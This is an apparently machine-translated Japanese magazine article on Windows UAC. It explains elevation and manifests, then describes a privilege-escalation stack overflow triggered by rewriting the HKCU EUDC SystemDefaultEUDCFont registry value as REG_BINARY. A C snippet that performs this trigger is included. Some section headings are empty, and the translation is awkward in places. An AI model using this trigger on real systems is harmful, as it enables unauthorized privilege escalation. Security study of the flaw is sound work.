UACを破る

ユーザーアクションを制御する悪名高い話題(Windows Vista以降UACとして知られている)が何回提起されたかはわかりません:それが必要で、どれほど効果的か...しかし、今、純粋に適用されたハッカーの観点からこの問題をもう一度考えます。 システムの長所と短所、そして最も重要なことを考えてみてください-どのように回避できるのか(また、まったく可能です)。







それでは、セキュリティの観点からUACとは正確には何ですか? Windows開発者(明らかに、バグトラックからの退屈な情報を少し気にし、世界で最も一般的なOSの脆弱性で定期的に更新されている)は、すべてまたはほとんどすべてのユーザーが管理者権限の下にある場合、何らかのソフトウェアコンポーネントを作成する必要があると判断しましたユーザーに許可を求めます。

「シンプルなユーザーには管理者権限が必要ですか?」というトピックにホリバーを置いておきましょう。

そのため、UACは、ユーザーが管理者権限に頼らずに作業できるように設計されています。 管理者権限があると、ユーザーは、他のユーザーのコードやデータ、さらにはWindows自体を含む、オペレーティングシステムの任意の部分を表示および変更できます。 管理者権限がないと、ユーザーは誤ってシステムパラメーターを変更できず、悪意のあるプログラムがシステムセキュリティ設定を変更したり、averを無効にしたり、公共のコンピューター上の他のユーザーの重要なデータのセキュリティを侵害したりできません。 このように、一般ユーザーの権利を扱うことにより、企業環境でのサービスをサポートするための緊急の呼び出しの数を減らし、マルウェアによる被害を軽減し、家庭用コンピューターのより正確な作業を促進し、公用車の機密データを保護します。

UACは、すべての実行可能タスクを2つのグループに分割します。通常のユーザーが実行できるタスクと、管理者のみが実行するタスクです。 UACは、管理者に気付かれずにシステムを非特権ユーザーモードにし、管理者権限が必要な場合、一時的に権限を増やすことができるシステムダイアログが表示されます。

また、UACの導入により、Malvariを開発することで生計を立てている初心者やそれほどコーダーではない人たちがほとんどいないことを認めなければなりません。 彼らはそれに対して十分なお金を支払いました。



小さな教育プログラム、または合法的に管理者権限を取得する方法

システムとアプリケーションの管理者権限の必要性を判断する方法は多数あります。 それらの1つは、コンテキストメニューコマンドと、エクスプローラーのユーザーインターフェイスの[管理者として実行]ショートカットです。 これらの要素には、すべてのボタンまたはメニュー項目に追加する必要がある色付きのシールドアイコンが含まれています。これらを選択すると、権限が増加します。 「管理者として実行」要素を選択すると、エクスプローラーは「runas」コマンドを使用してShellExecute API関数を呼び出します。

インストールプログラムの大部分は管理者権限を必要とするため、実行可能ファイルの実行を開始するイメージダウンローダーには、古いバージョンを検出するインストーラー検出コードが含まれています。 ローダーヒューリスティックで使用されるアルゴリズムの一部は非常に単純です。イメージファイルまたは内部バージョン情報の名前で「セットアップ」、「インストール」、または「更新」という単語を検索します。 より複雑なアルゴリズムには、ユーティリティプログラム(インストールシェル)でサードパーティの開発者が一般的に使用するバイトのバイトシーケンスの表示が含まれます。

ターゲット実行可能ファイルに管理者権限が必要かどうかを判断するために、イメージローダーはアプリケーション互換性ライブラリ(appcompat)も呼び出します。 ライブラリは、アプリケーション互換性データベースを使用して、RequireAdministratorまたはRunAsInvoker互換性フラグが実行可能ファイルに関連付けられているかどうかを判断します。

実行可能ファイルの管理者権限を要求する最も一般的な方法は、requestedElevationLevelタグをアプリケーションマニフェストファイルに追加することです。 マニフェストは、画像に関する追加情報を含むXMLファイルです。 これらは、同時DLLおよびMicrosoft .NET Frameworkアセンブリの依存関係を定義する方法としてWindows XPで導入されました。 マニフェストにtrustInfo要素が存在することは(Firewallsettings.exeダンプフラグメントに以下に示されています)、実行可能ファイルがWindows Vista用に作成され、requestedElevationLevel要素が含まれていることを意味します。 この要素のlevel属性には、asInvoker、highestAvailable、requireAdministratorの3つの値のいずれかを指定できます。

<trustInfo xmlns="urn:schema-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel Level="requireAdministrator" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo>
      
      



管理者権限を必要としない実行可能ファイル(たとえば、Notepad.exe)には、asInvoker属性の値があります。 一部の実行可能ファイルは、管理者が常に最大限のアクセス許可を取得することを前提としています。 したがって、highestAvailable値を使用します。 この値で実行可能ファイルを実行するユーザーは、AAMモードで作業している場合、または以前に定義されたルールに従って管理者と見なされている場合にのみ、権限を増やすように求められます。

highestAvailable値を使用するアプリケーションの例は、Regedit.exe、Mmc.exe、およびEventvwr.exeです。 最後に、requireAdministratorの値は常に昇格要求を開始し、管理者権限なしではアクションを完了できないすべての実行可能ファイルで使用されます。

アクセシビリティアプリケーションでは、uiAccess属性をtrueに設定して、昇格したプロセスの入力ウィンドウを制御します。 さらに、これらの機能を提供するには、%SystemRoot%や%ProgramFiles%など、いくつかの安全な場所のいずれかに署名して配置する必要があります。

実行可能ファイルで指定された値は、SysinternalsのSigcheckユーティリティを使用してマニフェストを調べることで簡単に決定できます。 たとえば、sigcheck –mです。 管理者権限を要求するイメージを開始すると、サービスホストプロセス(%SystemRoot%\ System32 \ Svchost.exe)で実行されているアプリケーション情報サービス(%SystemRoot%\ System32 \ Appinfo.dllにあるAISとも呼ばれます)が規定されますプログラムConsent.exe(%SystemRoot%\ System32 \ Consent.exe)を実行します。 同意はスクリーンショットを作成し、それに薄暗くする効果を適用し、システムアカウントのみがアクセスできるデスクトップに切り替え、暗い画像を背景として設定し、実行可能ファイルに関する情報を含む昇格ダイアログボックスを開きます。 別のデスクトップの出力により、ユーザーアカウントで実行されている悪意のあるプログラムによるこのダイアログボックスの変更が防止されます。





理解できない行動に対する典型的なUACの反応


バッファオーバーフロー

バッファオーバーフローとUACの関係はどうですか? Windowsに潜むバグにより、UACの制限を回避して権限を増やすことができます。 今日は、些細なバッファオーバーフローの助けを借りて、UACをバイパスして管理者権限を獲得する方法を具体例で示します。

このようなWinAPI-RtlQueryRegistryValues(msdn.microsoft.com)があり、1回の呼び出しでレジストリから複数の値を要求するために使用されます。これは、__ in__outパラメーターとして渡される特別なテーブルRTL_QUERY_REGISTRY_TABLEを使用して行われます。

このAPIで最も興味深い(およびMicrosoft開発者にとって恥ずべき)ことは、制限されたユーザー権限を使用して変更できる特定のレジストリキーがあることです:HKCU \ EUDC \ [Language] \ SystemDefaultEUDCFont。 このキーのタイプをREG_BINARYに変更すると、RtlQueryRegistryValuesを呼び出すとバッファオーバーフローが発生します。

Win32k.sys!NtGdiEnableEudcカーネルAPI関数がHKCU \ EUDC \ [Language] \ SystemDefaultEUDCFontレジストリキーを要求すると、このレジストリキーはREG_SZ型であると正直に想定されるため、UNICODE_STRING構造体はバッファに渡され、最初のフィールドはULONG型になります(文字列の長さが表示されます)。 ただし、このパラメーターのタイプをREG_BINARYに変更できるため、システムが行き止まりになり、送信されたバッファーの長さが正しく解釈されず、スタックオーバーフローが発生します。



 UINT codepage = GetACP(); TCHAR tmpstr[256]; _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage); HKEY hKey; RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL); RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont")); RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize); __try { EnableEUDC(TRUE); } __except(1) { } RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont")); RegCloseKey(hKey);
      
      



エクスプロイトキーポイント


スナップでUACを無効にする


おわりに

UACを回避できます。 Windows VIsta / W7の開発者が最善を尽くしたので、簡単だとは言えません。 しかし、依然として抜け穴が残っています。 Windowsチームの努力を無効にすることができる1つまたは2つのウサギの穴を見つけることができます。 この場合の成功は、デバッガーおよびIDA ProやWinDBGなどのデバッガーで作業できる人にもたらされます。

頑張ってください、そして力があなたと共にあることを願っています!



画像

ハッカーマガジン、 6月(06)149

アレクサンダー・エッカート



ハッカーを購読する




All Articles